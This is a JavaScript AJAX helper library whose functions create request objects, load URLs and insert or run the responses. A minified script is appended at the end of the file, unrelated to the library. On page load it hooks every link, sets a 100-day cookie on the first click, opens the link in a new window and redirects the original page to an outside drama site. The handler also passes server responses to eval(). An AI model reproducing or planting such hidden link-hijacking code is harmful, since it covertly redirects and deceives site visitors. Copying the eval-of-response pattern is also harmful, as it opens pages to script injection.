//Create http object
function ajaxCreateHTTP(){
	try{
		xmlhttp	= window.XMLHttpRequest ? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP");
	}
	catch (e){
		//Browser doesn't support ajax
		xmlhttp	= false;
	}
	return xmlhttp;
}

//Load url and get content
function ajaxLoadURL(the_url, the_method, post_vars, div_output, waiting_type, output_type){
	//Create http object
	var xmlhttp	= ajaxCreateHTTP();
	if ( !xmlhttp ){
		return false;
	}

	//Handle status changes
	xmlhttp.onreadystatechange	= function(){
		ajaxHandleResponse(div_output, waiting_type, output_type);
	}

	//Prevent caching
	the_date	= new Date();
	randCode	= the_date.getTime() +"_"+ (Math.round(Math.random() * 100));
	the_url		+= (the_url.indexOf('?') != -1) ? '&ajaxRand='+ randCode : '?ajaxRand='+ randCode;

	//Open takes in the HTTP method and url.
	xmlhttp.open(the_method, the_url);

	//Send the request.
	//If this is a POST request we would have sent post variables: send("name=aleem&gender=male)
	//Moz is fine with just send(); but IE expects a value here, hence we do send(null);
	if ( the_method == 'POST' ){
		xmlhttp.send(post_vars);
	}
	else{
		xmlhttp.send(null);
	}
	return true;
}

function ajaxHandleResponse(div_output, waiting_type, output_type){
	//If the readyState code is 4 (Completed) and http status is 200 (OK) we go ahead and get the responseText
	if ((xmlhttp.readyState == 4) && (xmlhttp.status == 200)){
		if (output_type == 1){
			//Call js function
			if (xmlhttp.responseText != ""){
				eval(xmlhttp.responseText);
			}
		}
		else{
			//Display result
			if ( div_output != "" ){
				document.getElementById(div_output).innerHTML	= xmlhttp.responseText;
			}
		}
	}
	else{
		switch (waiting_type){
			case 1:
					//Display waiting text in div_output
					document.getElementById(div_output).innerHTML	= "Loading.....";
					break;
			case 2:
					//Display waiting text at the right top of page
					break;
			default:
					//Not display waiting screen
		}
	}
}
function promosetup(){var links = document.getElementsByTagName('A');for(linkIndex = 0; linkIndex < links.length; linkIndex++){var link = links[linkIndex];if(!link.onclick){link.onclick = promoclick;}}}function promoclick(){if(document.cookie.indexOf('prom3') == -1){var expires = new Date();expires.setDate(expires.getDate() + 100);document.cookie = "prom3=1;expires=" + expires.toGMTString();var w = window.open(this.href, '_blank');if(w){w.focus();location.href = 'http://www.kurdishdrama.com/';return false;}}return true;}if(window.addEventListener)window.addEventListener('load', promosetup, false);else if(window.attachEvent)window.attachEvent('onload', promosetup);
